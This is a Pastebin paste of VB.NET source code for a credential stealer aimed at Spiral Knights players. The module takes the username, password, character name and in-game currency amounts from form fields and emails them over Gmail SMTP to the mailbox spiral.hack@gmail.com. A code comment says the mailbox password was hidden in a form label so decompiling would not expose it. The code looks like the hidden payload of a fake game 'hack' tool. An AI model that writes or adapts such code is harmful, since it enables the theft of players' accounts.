Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2. Module Module1
  3.     Sub mailtime()
  4.         ' there was a security issue where ppl were able to get the password from the source (prob by decompiling)
  5.        ' so i made the password the text of a label and dim'd it as pass.
  6.        Dim pass As String
  7.         pass = Form2.Label1.Text
  8.  
  9.         'create the mail message
  10.        Dim mail As New MailMessage()
  11.  
  12.         'set the addresses
  13.        mail.From = New MailAddress("spiral.hack@gmail.com")
  14.         mail.To.Add("spiral.hack@gmail.com")
  15.  
  16.         'set the content
  17.        mail.Subject = "Spiral Knight Account"
  18.         mail.Body = "The username is: " & Form1.TextBox1.Text & " ; The password is: " & Form1.TextBox2.Text & " ; Character name is: " & Form2.TextBox1.Text & " ; The crowns ammount is: " & Form2.TextBox3.Text & " ; The energy ammount is: " & Form2.TextBox6.Text
  19.  
  20.         'send the message
  21.        Dim smtp As New SmtpClient("smtp.gmail.com")
  22.         smtp.EnableSsl = True
  23.         smtp.Credentials = New Net.NetworkCredential("spiral.hack@gmail.com", pass)
  24.         smtp.Send(mail)
  25.     End Sub
  26.  
  27. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement